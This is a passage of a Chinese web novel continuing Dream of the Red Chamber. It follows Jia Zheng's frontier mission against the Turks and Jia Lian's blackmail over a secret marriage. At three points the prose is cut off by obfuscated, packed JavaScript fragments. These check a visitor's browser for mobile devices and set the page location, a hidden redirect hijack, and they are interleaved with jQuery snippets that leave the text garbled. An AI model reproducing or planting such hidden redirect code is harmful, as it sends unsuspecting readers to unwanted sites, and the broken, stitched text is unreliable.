贾政一番话皆是肺腑之言,李师德听后也很开心他这样的坦诚,便也说道“我为官多年还没有上过战场呢!只是听封尚书传来的一言半语,这差事很不好做!”说罢,自己也重重叹了口气。 “你我二人还算幸运的,只需要坐镇后方,再看看那些负重步行的士兵们!他们的性命在战场上实在太脆弱,难道他们的命就如此贫贱吗?”贾政说罢自己却摇了摇头。 “所以你才对士兵们这样宽柔,早就听说你素来仁慈爱民,如今与你共事我也亲身看到了!”李师德真诚说道。 “不是所有人都像你这样和普通士兵们同吃同住的,况且你又从不体罚他们···”李师德叹道。其实在他心里,一直以为带兵打仗定然要恩威并施,只有惩罚到位了,士兵才会听话,对于贾政的做法,他虽不赞同,但没有遇到大事,也就没有阻拦。 贾政却摇了摇头,喃喃道“我想只是出于一种弥补吧···” 李师德不解,便看向贾政。 “眼看着与你同行的生命即将走向死亡,我不由得想做些好事弥补他们···”贾政说罢,摇摇头笑了笑,又道“全当是我多愁善感了吧!” 虽然押运粮草的将士们不是正规作战的士兵,只算后勤人员,但若有紧急时刻,也需要他们上场作战的,贾政也是第一次亲自体验这个时代的战争,不免有些掩藏不住的同情心涌了出来。 扎营三日,沙尘暴才散了,李师德便让队伍继续前进。 贾政与士兵一起步行前进,还一直喊着号子鼓舞士气。这边士气高昂,前面忽然有一人一骑跑了过来,卷起很大一阵沙尘。 斥候下马报道“前面三里外的连营村,村民拦了路不让咱们过去!” 李师德看了一眼贾政,贾政会意,立刻问道“问清楚缘故了吗?” “他们说咱们的车马会将他们的田地踩踏了,便用石头堵住了路···”斥候回答道。 “你怎么说的?”李师德又问。 “我们好一番劝解,说并不会走到田地里,只是他们不听,大人又告诫我们不许和村民发生冲突,这才赶来说明情况。”斥候又回道。 贾政很是满意斥候的做法,便对李师德说“不如我先走一步,看能不能说得通村民?” 李师德有些犹豫,说道“这里已离突厥地界很近了,存周还是不要孤身犯险,万一遇到突厥人,恐怕···”话没说完,贾政便明白他的意思。 李师德担心贾政像史鼐和钱玄武那样被突厥人掳走,惨遭不测。 贾政正欲解释,忽然听到前面有人喊道“村民将路让开了!” 70.战事杂乱心如麻 “为何突然又让路了呢?”李师德忙问道。 那斥候大喘了口气,回道“突然过来两个人与他们说了些话,那些村民就让路了!” “听到他们说的什么话了吗?”李师德又问。 斥候摇摇头,说道“没有听懂···” “是土话还是外族话?”贾政突然追问。 “听起来不像是西北道的土话,而且那两个人高大魁梧,有点像是突厥人的长相。”斥候又回道。 “此地靠近突厥,外族和汉族通婚的也不少···”李师德也说道。 “虽这样说,但其中肯定有隐情,也许事关重大,我想咱们应该重视。”贾政正色道。 “只是如今路也通了,咱们又有这么多粮草要运,还是不要因此误了大事。”李师德坚持道。 贾政便点点头,说道“李大人说的在理,等咱们的队伍安全到了叶榆城,再派人去那里看看情况比较稳妥。” 李师德见贾政也附和自己,便吩咐这两名斥候再去前面观察,让士兵们缓步向前。 “存周是不是有别的想法?”李师德走近贾政,又低声问道。 “也许是我多疑吧,我总以为凡是大阴谋总会在小地方露出马脚,所以我总是比较关注这类奇怪的小事。”贾政笑了笑。 李师德拍拍他肩膀,说道“咱们身负重任,谨慎行事很有必要,只是如今还是先将粮草安全送到了,再细细讨论那件事。存周以为如何?”李师德还是很在乎贾政的看法的。 “我自然完全支持李大人的看法,方才不过是情急之下追问一句罢了!”贾政也笑了笑。 两位长官达成一致,相视一笑。 在经过连营村时,挡路的石头早被清理干净,再没有任何人阻拦,只是路上和田间也没有看到一个村民,这很反常。 此时正是春耕时节,四处田地竟无一人,简直像个鬼村。贾政心中的疑惑更浓,只是没有表现出来。 又行了两里路,前面竟然出现一大片湖泊,绿草茵茵,湖水清澈,四散着许多牛羊,好一番田园牧歌的景象。 “这个连营村倒是难得的好地方!戈壁滩中却有这样大的湖泊,想来村民的灌溉用水都不缺了!”李师德也叹道。 “这村子应当较附近其他村子富庶一些。”贾政也点点头。 “只是方才看到他们的房屋,都是茅檐草舍,却看不出半点殷实的景象。”李师德又说道。 “这里既有耕田又有牧场,村民半农半牧,按理是要更富足的。却舍不得盖房子,我也想不通。”贾政皱起眉头。 “咱们不理解贫民百姓的想法也很正常,也许是盖房的技艺没有中原那样发达吧!”李师德也道。 贾政没有回答,四处看了看。只见远处湖畔有二人正在饮马,这两人竟然和马一样高大,不由得让贾政多看了两眼。只是他们饮了马,很快就骑马走到前面去了。贾政只好强压下心中的疑惑。 离开连营村,接下来的路途很是顺利。又行了四日,便安全抵达了叶榆城。 封严和呼延朗亲自率众到城门口迎接。 因贾政和李师德都曾是封严的下属官员,封严对他二人都表现亲近。贾政先前以为封严名如其人,不苟言笑。只是如今在战场重逢,封严的性格却略有变化,更随和了。 清点完粮草,封严见除了正常消耗外并无更多的损失,自然满意。呼延朗便吩咐人将粮草入库。贾政和李师德也没有去梳洗,直接随着封严来到议事厅,细致了解局势。 上次因有内鬼里应外合,两万士兵一个月的粮草被突厥人偷了出去,圣上盛怒之余又传来圣旨,让封严戴罪立功,若再有纰漏,便要数罪并罚。 封严这几个月来战战兢兢,秣马厉兵,又与突厥交手几次,胜多负少。只是每次都是小规模的胜利,说出去也没有那么好看。突厥人似乎铁了心龟缩起来,不欲再战。 只是皇上的旨意却很明确,要封严打一场大胜仗才能班师回朝。因此封严一日都不敢松懈,谨慎寻找着突厥人的踪迹。 “最近传来消息,突厥人内乱越发严重,我想咱们的机会也快到了。”封严又说道。 呼延朗便补充道“他们其中分了三个派系,如今那边的沙波木可汗年迈,本来指定长子汗可王子继承可汗之位,但其幼子阿克赛王子也是颇有威望,而可汗的兄弟塔列将军更是手握重兵,他们三方便明争暗斗起来。可汗的兄弟和幼子都蠢蠢欲动,意图取而代之···” 贾政点了点头,游牧民族的派系斗争总是如此,千百年来常因为内部的分裂,导致部落的实力大大削弱。再修养几十年,又能聚成一股对中原王朝虎视眈眈的庞大力量。 “频繁率众侵犯咱们边境的首领,是汗可王子,也就是原定的继承人。”呼延朗又道。 “另外两派对战事如何看待呢?”贾政想了想又问道。 封严却摇摇头,直言道“他们若是意图谋乱,想必没有精力来骚扰咱们。” “先前被夺去的粮草是不是这两个派系的人干的呢?”李师德也很疑惑,便又问道。 封严和呼延朗都摇摇头,说明还没有还没有查清楚这件事。 “若想要谋反,肯定需要联合其他力量,咱们这里若有内鬼,极有可能是那两派人拉拢的。”贾政沉思片刻,也说出了自己的分析。 “此话很有道理,只是现在还没有线索···”呼延朗犹豫道。 李师德性子较为耿直,他见厅内只有他们四人,便低声追问道“你们没有怀疑过先前那两位吗?” 呼延朗苦笑了下,没有说话。 “当然怀疑过,只是史鼐已死,而钱玄武病重,话都说不出来,如今在京城被大理寺和兵部的人日夜看守着,现在也没听到他们问出什么有用的来···”封严倒是详细解释了。 “也许突厥人想强逼这两位合作,史鼐咬牙拒绝了,便被他们折磨致死,而钱玄武同意了,便留了一条性命···”李师德推测道。 “虽有这个可能,只是也许朝中也有他们的靠山···”呼延朗轻声道。 封严侧头看了一眼呼延朗,他就立刻没再说话了。四人又静坐一会儿,封严便让贾政和李师德先去休息了。 贾政进了屋子,随意躺在床上,又暗自沉思刚才那三人的可信度。看封严和呼延朗的表现,这两人肯定不可能是突厥人的内线。 当时突厥人竟然留了史鼐和钱玄武两个活口,说明这两人极有可能都被收买了,突厥人有他们配合,又暗中联系他俩在城里的手下,这才能将粮草偷运出去。 史鼐身亡也许是为自己做的事情感到屈辱,无颜面对同僚,心思郁结,没心思配合治疗,回来没几日也就死了。而那个钱玄武在京城定然有更大的靠山,所以他才敢活着回到京城面对那些严苛的审查。 而这个靠山,贾政第一时间想到的,就是忠顺王爷。 又是他!贾政重重叹了口气,又狠狠捶了一下床板。 从京城到扬州再到西北道,忠顺王爷无时无刻不像幽灵一样纠缠着贾政。在朝为官多年,即使付出多少心血努力,到头来却发现只是困在那少数几个位高权重之人的手掌中,被他们的一些计策耍的团团转,而自己却完全无力与之匹敌。 因为忠顺王爷如今正是皇帝的代言人。 贾政不清楚忠顺王爷与皇帝的协作达到了何种程度,但他知道只要忠顺王爷仍手握重权,贾家不会有一天好日子,就像时刻悬在头顶的一把利剑。 在扬州时,鸦片被劫和水匪与忠顺王爷有关。运送官盐的船只倾覆,又查出涉案县令贪污五万两,却被轻飘飘放过,其中很可能是他和皇帝协商的结果。而如今西北道的战乱,莫名被劫走的粮草,内乱的突厥人,忠顺王爷又在其中扮演了怎样的角色? 这个谜团一直困扰着贾政,从扬州到这里。他想到,也许在这里,借着双方交战的机会,他可以彻底查出其中的关键所在。 次日清晨,贾政重整精神,先去了操场看士兵演练,自己也加入进去,舒展了一会儿筋骨。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15130138|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >贾政刚挥出一拳,忽感到背后有人,忙回头看时,那人的拳头直直冲着贾政面庞,只是速度并不很快,给了贾政防御的机会。贾政忙两手护住脸,将来人的拳接下了。 此人正是封严,他笑了笑便收回手臂,说道“存周真够勤勉的,本以为你们刚来,今日定要好好歇息的。” “将士们都起床演练了,我也就躺不着了···”贾政见封严神情和煦,又道“请大人恕我无礼了!” 贾政看封严点头默许了,自己又和身旁的士兵跟着前面长官的指挥,一同打起了拳。 又操练了小半个时辰,期间封严四处巡视了一圈,待晨训结束后,封严又走回了贾政这里,说道“同我走一走,说点事情。” 此时将士们渐渐散开了,二人就在演武场随意散步。 “你虽初来乍到,但对这里的事情却看的很透彻。”封严直言道。 贾政便笑了笑,说道“只是一些推测而已···” “存周不要谦虚,我想咱们之间只有互相信任,日后才能互相依靠,你以为呢?”封严正色道。 贾政便点点头,说道“我能来这里,还是因为大人的建议···” 说到这里,封严却笑了笑,拍拍贾政肩膀,说道“身边实在缺少得力助手,忽然就想到了你,存周可不要怪我!” 贾政摇摇头,虽然他原本有一些奇怪,但昨日想清楚后也觉得能来战场是一次难得的良机。 “你在扬州所为,陈光和与我私下说过,那时我才意识到原来你是这样一个能臣,前些年实在被埋没了。”封严如此解释道。 “没想到您和陈总河私交甚好。”贾政点头笑道。 “我们是同乡,他刚做官时,曾遇到一些小麻烦,我好心指点过他。他这人知恩图报,后来我们便很熟悉了。”封严毫不避讳,又做了解释。 “光和说你胆量奇大,为官也很正直,所以我才想让你来这里帮忙的。”封严又补充道。 贾政没有客套谦虚,只是笑了笑。 “李师德说你们在经过连营村时,发生了一件事···”封严切入正题。 贾政便详细说了事情经过于自己的猜测,又道“我想此事虽小,但深入去查也许真有重大发现,所以我想···” “我今晨特来找你,正是为了此事!”封严打断了贾政。 贾政正了神色,静待封严后文。 “那个连营村本来有一百多村民,之前我们为了保护附近村民,也曾派人到过那里,却发现一个人都没有。只是当时四下里的事务很多,便没有顾得上那里···”封严低声说道。 “后来粮库被劫,密道通向的村庄与连营村在一个方向···” “大人怀疑连营村的村民被突厥人杀害了?被当成了他们的据点?”贾政也轻声问道。 封严点了点头,又道“前些日子我又想起此事,便派了十来个人日夜在村子附近守着。果然发现夜间那里常亮起几盏灯,里面有突厥人在说话。只是他们守卫严密,我们的人不敢靠的太近,只能判断出他们是突厥人,院里也有不少突厥人常骑的那种大马。” “这样说的话,我们经过那里时拦路的村民也是突厥人假扮的了?”贾政又问。 “或者是他们手下的汉民,总之突厥人逃不了干系。”封严回答道。 “那又为何突然又让路了呢?”贾政问了出来,自己也迅速思考着。 “也许他们原本真的想拦,甚至已经做好了搏斗的准备,却忽然被人阻止了?”贾政很快说出了自己的猜测。 “这也很有可能,突厥人中派系复杂,朝令夕改很是平常。”封严点头附和道。 “只可惜咱们并没有安插在他们那里的人手,不然也就能弄清楚其中的关键了!”贾政叹了口气又道“如今真有种盲人摸象的感觉!” 贾政抬头时却看到封严笑着看他,便立刻问道“难不成我们也有密探在那边?” “只需他们安插内鬼,咱们就必须光明磊落吗?”封严笑了笑。 71.等闲平地起波澜 “不知您有何吩咐?”贾政见封严难得调笑,便也笑了笑,又直接问道。 “想让你去与其中一派联盟,将那边的水搅得越浑越好···”封严正色道。 “您属意的是哪一派?”贾政又问。 “汗可王子民心所向,他若日后顺利成了可汗,少不了要与咱们交火的。据密探回报,塔列将军虽擅长打仗,但弱点也很明显,容易听信谗言,他手下的将士虽多,但问题百出。而那位阿克塞王子,却几乎没什么本事,远远不及他的兄长,只是因为他母亲来自实力强劲的部落,因此支持他的人也就不在少数···”封严详细分析道。 “只是我们尚且不知道哪一派系的人暗中勾结了咱们这里的高官?”贾政又道。 封严点点头,说道“这也是我所担心的,所以我已让密探打听去了,只待他有了结果,咱们就选中另一方去联盟。” “这也不难查清,他们若是劫去了咱们的粮草,手下的士兵肯定多少知道一些,私下聊天难免要暴露的。”贾政又道。 封严点点头,又细细说了自己的安排“你需要做的是前往突厥内部,与他们的话事人私下接触,并许诺一些好处,帮助他们剿灭敌对势力。他们得到好处,要答应咱们日后不再侵犯···” 贾政也能理解封严让自己深入贼穴的原因。突厥人生性多疑,最害怕汉人的阴谋诡计,只有派高官亲自去他们的地盘商谈才能更好地获得他们的信任。 “这就是大人选中我的原因?”贾政直接问道。 “你都敢深入水匪巢穴,想来再去突厥老巢走一趟,你也有这个胆量。”封严也不避讳,直接回答道。“我相信你的能力,也相信陈光和的眼光。” 被安排了如此危险任务的贾政,却并没有多么害怕,只是笑着回应了封严的评价。 “况且,通过此事,咱们不难揪出暗中勾结突厥人的内鬼,这不正是你日夜忧心的吗?”封严忽然如此说道。 贾政不由得笑了笑,有些佩服封严竟然猜中他的心事。不愧是为官多年的老油条,就知道他绝不是明面上那样的刚直。那次丢失粮草不过是敌暗我明的疏漏,若真要论起耍计策来,自己定然在他之下。 虽心里这样想,贾政却说道“这正是我的责任···” 封严便拍了拍他的肩膀,说道“你去扬州其实就是忠顺王爷向圣上提的建议,只不过他本来是想让你在任上出个纰漏,好借这个由头彻底扳倒贾家。只是他没有想到你颇有才干,后来也许觉得你是个可以利用的人才,便将你留了下来,又建议圣上为你升了官。” 贾政心中的猜想如今得到证实,心里却并无波澜,他认为封严之所以将这事透露给他,也是想让他甘心听吩咐做事罢了,便又笑道“那么我应该感谢他还是痛恨他呢?” “忠顺王爷与皇帝非同一般的兄弟,我劝你不要妄想对他做什么事···”封严很是严肃地劝告道,又说道“我虽然也猜测他暗中勾结了突厥人,但咱们最后若真得到这样的结果,反而要替他掩盖,不然咱们两个怕是没命回京见妻儿了···”封严说到这里,自己也叹了口气。 “若是圣上发现忠顺王爷要谋反呢?”贾政忽然低声说道。 封严虽知道四周并无别人,仍环视了一圈,才压低声音道“你如何敢保证他背后没有圣上的默许呢?” 贾政听了再没说话,只低头思考着。他又将脖颈上戴着的佛珠取了下来,绕到手腕上,一颗颗转着珠子。手指摸到了两颗刻着字的珠子,贾政的心也渐渐平静了下来。 此时西北边塞还是初春景象,而京城已入了夏。初夏时节的京城,早晚凉爽宜人,只是贾琏却无法沉浸在这样美好的季节。他此刻好似踞炉炭上,只觉得焦躁难安。 因为贾琏又被人告了。 真是流年不利!贾琏不禁长叹一声,又扭扭捏捏犹豫许久才去了父亲贾赦院子。 只因这事已经直接闹到了荣府大门口。一个不知哪里来的男子,在荣府门口扯着嗓子大喊,说贾琏国丧期间偷娶,严重违背法令。荣府的管家忙将人捆了带到贾琏处,只是贾赦也已听到风声,就喊贾琏过去问话。 贾琏一见到父亲,自己便心虚跪在了地上,只低垂着头不敢说话。 “这么看来那人说的都是真的?”贾赦厉声问道。 贾琏低声回了句“是的。” 贾赦将手中的茶杯整个砸向了贾琏,贾琏哪里敢躲?硬生生接了下来,即使额头被砸破流了血,热茶烫得他呲牙,也不敢有丝毫不满。 “你这个孽障!留着你还有何用?不如今日打死你省事!日后也不会再给我闯祸!”贾赦气得手指着贾琏,痛骂道。 贾琏越发低了头,不敢往枪口上撞。 贾赦骂了几句便觉得胸口憋闷,只强忍住怒气坐了下来。 贾琏忙跪行至贾赦脚边,恳求道“父亲千万不要因为儿子气坏了身子···” “你做下那混账事之前难道就没有想过这句话吗?”贾赦又问道,语气仍很严肃。贾琏便住了口,不敢辩解了。 邢夫人从来不敢忤逆贾赦,如今看他正在气头上,更不敢来劝解。又怕贾赦随时向她发难,便不敢离开,在里间苦苦思索着应对之策。 贾赦勉强让自己冷静下来,又问道“具体怎么回事?” 贾琏忙和盘托出,又解释道“儿子也是为了子嗣着想,况且新媳妇实在是个好姑娘,她们家家产又丰厚,趁早定了这门亲事,于咱们都有好处。” “你就不能等到明年吗?何故那样猴急?你说现在怎么办!”贾赦虽认同贾琏的解释,却也心烦遇到这种棘手的事情。 “儿子想肯定是背后有小人陷害。只等查了出来,威逼利诱一番,这事也就妥当了。”贾琏试探着说出了自己的想法。 “如今荣府的人肯定都知道了,若是传出去···”贾赦又问。 “儿子已叮嘱过了当时的几个门房和管家,他们都不敢说的。”贾琏回道,又补充道“儿子一定尽快去办,一定不让这件小事玷污了咱们家的脸面!” “滚吧!”贾赦认可了贾琏的说法,哼了一声,就让他离开了。 贾琏匆忙离开,只觉得额头的伤疼的不得了,走出了院子才敢让小厮去找大夫为他处理伤口。 他忽然想到先前与王熙凤和离也是被人告了,也是事出紧急,也是被父亲好一顿打骂。只是没想到过了一年,同样的事情又落到了他头上。 贾琏暗想:难道这事与王熙凤有关?她也许是嫉妒我又娶了媳妇,才又来陷害我了! 想到这里,贾琏又将往日王熙凤狠毒的行为回忆了起来,便向地上啐了一口,恨声骂道:要是被我查出是你搞的鬼,可不要怨我不顾念往日情分! 贾琏急着调查事情的来龙去脉,自然要先去审问在门口喊叫的人。 只是无论贾琏如何威逼利诱,此人咬定一句话,若想撤案,先拿出一万两银子。 “你倒是好大的口气!”贾琏怒极反笑。 那人也嘻嘻笑了“二爷自然是不差钱的,张家也不差钱,为了两家的脸面,花一万银子想来也很值当!” “谁指使你告我的?”贾琏又问道。 “二爷有空一直追问我这个问题,不如快去准备银子吧,不然我也不好说明天会传来什么好消息。”那人自信说道,只觉得贾琏的反应太过好笑。 贾琏强忍住想踹他一脚的冲动,那人又道“二爷若要打我,只怕就不止花一万银子了···” 贾琏猛地甩了袖子,就吩咐小厮将这人严加看管起来。自己立刻带人去了京兆府尹。半路上又怕自己办不妥当,忙派人去宁府将贾珍叫了过来。只希望有宁荣二府出面,可以说动京兆府尹,将案子压下来。 往日里贾琏这样身份的,京兆府衙门的人少不了亲自出来迎接,只是今日贾琏却吃了个闭门羹。衙役出来传话,说贺大人公务繁忙,不能接待。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137309|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贾琏已数不清今日受了多少窝囊气,此时只能无奈地跺跺脚,反而自己没站稳,一个趔趄摔倒在地。 “死奴才,眼睁睁看着爷摔倒也不来扶,难道你是死人吗?”贾琏又将怒火发泄到了小厮身上。 小厮越发害怕,忙将贾琏扶了起来,却被他狠劲推了一把,小厮站立不稳,又跌倒在地。贾琏方才觉得自己略略出了口气。 “怎么在衙门口这样闹?也不像是二爷的作风啊!” 贾琏转身一看,果然是贾珍。不由得心里很是委屈,就将所有发生的事情一股脑说了出来。二人边说话,便回到马车坐下了。 “这样看来,这个贺大人肯定也被买通了,咱们只能筹谋别的办法。”贾珍想了想,如此说道。 “大老爷催得急,那个无赖又说明日若不交钱恐怕又要闹事,我也真是一筹莫展了!”贾琏重重叹道。 “不过是一万银子,你也拿不出吗?”贾珍忽然笑道。 “大哥哥开什么玩笑,我哪有那么多钱!”贾琏急道。 “你自己没有,弟媳妇那里还能没有吗?”贾珍的笑容更深了。 “那都是她的嫁妆,况且都还在张家那里。我们还没有过了明路却去上赶着要嫁妆,张家人岂不生疑?”贾琏又解释道。 “姑娘都成了你的人,他们还能有什么好疑虑的!不过随便找个由头先把钱弄到手再说,不然眼下这桩案子你要怎么办呢?”贾珍似乎一心为了贾琏着想。 贾琏听了却摇摇头,说道“我是真心要让雪月做我正妻的,如今哄骗她的嫁妆,日后她若反应过来,只怕夫妻关系更僵了。” “看不出你还是个情种了?怎么这样听媳妇的话?”贾珍却笑道。 “大哥哥还不明白我吗?何故又这样说!不过是找个生儿育女管理家事的妻子罢了,也不是真的担心她的情绪。只是毕竟那样做面子上过不去罢了···”贾琏又道。 贾珍笑得更大声了,他重重拍了拍贾琏肩膀,笑道“命都快没了,还顾及面子?” “所以才来找大哥哥帮忙,看能不能找到几个说得上话的高官,帮我说动那个京兆府尹,不要审理那案子。”贾琏又道。 “只怕京兆府尹背后还有别人,又怎么办呢?”贾珍说道。 “大哥哥担心的是忠顺王爷?”贾琏低声问道。贾珍便点点头,又道“听说二老爷这次去战场干那费力不太好的事情,其中也有王爷插手呢!” “难道忠顺王爷这样做就为了一万银子?”贾琏追问道。 “我哪里知道?也许手里缺钱了又遇上你这个把柄,他就是想讹一笔钱也是常事,放着一只肥羊谁不愿意宰一刀?”贾珍说道。 “贾雨村不是和忠顺王爷交好吗?不如让他去说说情?”贾琏忽然想到了贾雨村。 “他?”贾珍嗤笑一声,又道“倒是可以试一试,只是这人也是个雁过拔毛的,你可要准备好他狮子大开口,也敲你一笔钱···”贾珍说到这里,反而有种幸灾乐祸的口气。只是贾琏满心里只想着如何与贾雨村说情,并没有太注意贾珍的反应。 “先前贾雨村为了巴结大老爷,将那石呆子抄了家,我手里也有他的把柄,他若是不帮我,也要想一想后果!”贾琏忽然说道。 “你这把柄可也牵涉到了荣府,我想你还是不要轻易说这个。最好是多说些好话看能不能成事。”贾珍这句话倒是真诚,他也担心贾琏情急之下将宁荣两府的人都拉下水。 “威逼或是利诱,总有一个方法能打动他···”贾琏说罢忽然有了自信,立刻要去找贾雨村,贾珍怕他生事,只好陪着同去。 贾雨村虽热情接待了他们,口上也信誓旦旦地应承了这事,只说让他们耐心等候,他这就去忠顺府打听。 这弟兄二人在贾雨村家里苦等两个时辰,天快黑时才收到贾雨村派小厮传来的口信:封口费改成九千五百两,三日后在此处交付。 贾琏和贾珍都傻了眼。 72.遇岐路暗流涌动 没想到贾雨村办事不力,不亲自回来报信,却端着架子只打发个小厮回来。这样的无礼与他先前的阿谀奉承简直有天壤之别,贾珍和贾琏一时间面面相觑。 贾琏再无办法,三日之内拿出九千五百两,对他来说实在是件难事。如今唯一的办法就是去找张家人帮忙,可是这又让高傲惯了的贾琏如何张口呢? 只是今晚实在没有心力再去张家,贾琏便回了自己的外宅。 进门前贾琏倒是努力换上平常的神情,不想让张雪月起疑。只是贾琏话里话外打听她的嫁妆,饶是张雪月这样的娴静女子,也要问上一句的。 “二爷老是打听嫁妆做什么呢?那单子咱们不都看过了吗?”张雪月虽疑惑,但说起话来也很柔和。 贾琏就笑笑,搂着妻子的肩膀坐到床边,又道“我想着这几日就和家里的老太太与老爷太太说了咱们的事,也就不用委屈你待在这样寒酸的地方了。”说罢,又拉着她躺了下来。 “二爷一番好意我自然高兴,只是如今尚在国孝期间,只怕长辈们又要责怪二爷了···”张雪月所说全是在为贾琏考虑。 贾琏一只手抚摸着张雪月的脸颊,柔声说道“只是我也不想让你受委屈呢!” 虽成亲已有月余,但贾琏这样炙热的眼神总是让张雪月脸红,她将头埋进贾琏怀里,轻声道“我也不想让二爷受委屈···” “不如咱们明日先去大哥那里,先将嫁妆带过来,然后一起去荣府里与长辈们说情,你觉得如何呢?”贾琏声音更柔,他的嘴唇在张雪月耳畔贴着,又紧紧抱着妻子。 “全听二爷的···”张雪月软倒在了贾琏怀里,声音渐渐弱下去了。 次日一早,贾琏就催促妻子梳妆打扮,二人同去张家。 “何故这样着急呢?”张雪月嗔怪道。 贾琏亲自为她描眉,又看着镜中妻子的花容月貌,笑道“早日办成这事,咱们就可以光明正大回到府上过日子,岂不舒心?” 这夫妻二人相携着在张家门口下了车,张济世早就等着了。如今他已从内务府的差事中捞到不少好处,对贾琏这个妹婿自然更要倚仗。 几人坐下后,张雪月自己去找了嫂子话家常,贾琏就和张济世闲聊一会儿。他貌似无意地打听了一下张家的生意,没想到张济世就滔滔不绝起来。 贾琏边听边暗中思索:做生意赚起钱来可真是又快又多。 想到这里,贾琏便随口试探了一句,问道“利润若真如此丰厚,少不得大哥也带着我一起了!” 张济世便笑道“妹婿出身名门,哪里会在乎这点蝇头小利!” 贾琏便叹口气,苦笑道“外面看着我们家里是轰轰烈烈,实际上大也有大的难处···”说了半句,贾琏略看了一眼张济世的神情。 “如今阖府里外上千人,难免有银钱不趁手的时候啊!”贾琏又叹道。 张济世便点点头,说道“是我先前没有想到了···”又看贾琏神情有些愁苦,便犹豫道“若是妹婿有需要,我自然在所不辞的!” “哪里好意思再和大哥张口呢!”贾琏故意拒绝道。 “这是什么话!咱们两家已然结了亲,就应当互相帮衬才是。如今妹婿有点小麻烦我却坐视不理,日后我有了困难哪里好意思向妹婿求助呢?”张济世说得倒很恳切。 “既然如此,就少不得向大哥张口了···”贾琏神情有些羞愧,似乎很不好意思向张济世借钱。 张济世摆摆手,又主动说道“五千银子可够?一会儿我就让人拿银票过来。” 五千银子虽然比贾琏的预期还差一点,只是这样生死攸关的事情,贾琏却不能顾及脸面,便犹豫道“不如大哥再借我五千银子,总共一万两,我写张借契给大哥,日后一定要还的!” 张济世哪里敢指望贾琏还钱,只是话已说出去了,再心疼钱也没用,就道“亲戚之间哪里有写借契的!我只当孝敬你们家的长辈了,妹婿再不要说那样生分的话!” 贾琏心里已经高兴至极,只是要勉强控制着,就拱手谢道“一码归一码,大哥借钱救急,待我宽裕了,肯定是要归还的。” “随你吧,只是我并不急用,只待你宽裕了再说这事。”张济世很好心地照顾贾琏的颜面。 贾琏彻底解决了心里积压的大事,晚饭时难免就多喝了几杯,拉着张济世的袖子又灌他酒。眼见着二人都喝得醉醺醺,开始说胡话了,张雪月和嫂子也很无奈,只好各自带了丈夫回房安歇了。 贾琏直睡到中午才醒来,只觉得头疼欲裂,刚坐下喝杯茶,就听到丫鬟来报,说是珍大爷昨晚派人到小花枝巷那里传信,让二爷尽快找他。 贾琏听罢,重重拍了一下脑袋,暗恨自己差点忘了要事。忙简单梳洗一番,就带了妻子先回了小花枝巷的屋子,自己又去找贾珍。 “二爷昨日说的话还算数吗?”张雪月忽然问道。贾琏忙回头看了一眼妻子,耐心道“你说的哪件事呢?” “就是,二爷说带我去荣府见长辈的事情···”张雪月犹豫道。 此事本来是贾琏为了筹钱想出的权宜之计,如今钱已到手,也不需要用她的嫁妆,自然更不着急和长辈们说他俩的事了。 “我有点急事,等晚上回来再和你说好不好?”贾琏快速说完,只等张雪月的答复。 张雪月虽很失落,也只好点点头,又嘱咐贾琏早点回来。贾琏嗯了一声,就匆匆出门了。 只留下张雪月坐在桌前,再无半点昨日的喜悦。明明前日晚上说得那么体贴,要带她去见长辈,二人到荣府过日子,怎么今日立刻就忘了这事? 她时而因为贾琏的不着家难过,时而又甘心陷入他的浓情蜜意中。只是贾琏做了那样多的承诺却往往只是空话,累积的多了,张雪月对贾琏的真心便慢慢消耗尽了。 “怎么样,钱够了吗?”贾珍见贾琏迎面走来,便问道。 贾琏甩了甩袖子,坐到桌前喝了杯茶,才说道“昨日和我那大舅哥借了一万银子。” “就知道你去找他了!”贾珍指着贾琏笑道。 “也是没办法的事···”贾琏叹口气,又道“不然我哪里要和他们这些人张口呢!”贾琏吐出一片茶叶,又擦擦嘴。 “咱们两府早就走下坡路了,你却还摆架子!”贾珍哼了一声。 “我也知道啊,只是咱们毕竟是官宦人家,该有的气派总是要有的!”贾琏嘻嘻笑道。 “说来说去,总是钱与权最重要!”贾珍又道。贾琏自然认同,这兄弟俩关系如此亲近,就是因为臭味相投。 “你准备什么时候去贾雨村处办这件事?”贾珍又问。 “一会儿就去,免得夜长梦多。”贾琏回道。 “你有没有想过,只要这个把柄在他们手里,日后难免再被人要挟···”贾珍严肃道。 贾琏此时意识清明,立刻想到了无穷尽的后患,便叹道“那有什么办法?谁叫我一时糊涂做下错事,忘了防备小人了呢!” “我倒有个主意···”贾珍悠悠说道。 “大哥哥快说!”贾琏忙忙追问。 贾珍上半身凑近贾琏,又压低声音道“既然忠顺王爷明摆着要与贾家为敌,咱们便去投靠一个与他旗鼓相当的人,日后也可以有个制衡···” “结交外官可是重罪···”贾琏低声道。 贾珍却神秘地笑了笑,又道“你看京城里这些大族人家,没落的有多少?还不是因为不会为以后打算吗?咱们家如果也是坐以待毙,恐怕过不了几年等忠顺王爷得了空,就要拿咱们开刀了!到时候说什么都晚了!” 贾琏虽认为贾珍一番话很有道理,自己也确实被他说动了,只是仍犹豫道“怕被老爷知道了不好···” 贾珍却哼了一声,说道“你当时瞒着他们娶亲的时候怎么没想到他们会不高兴?如今却想这个!我看你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 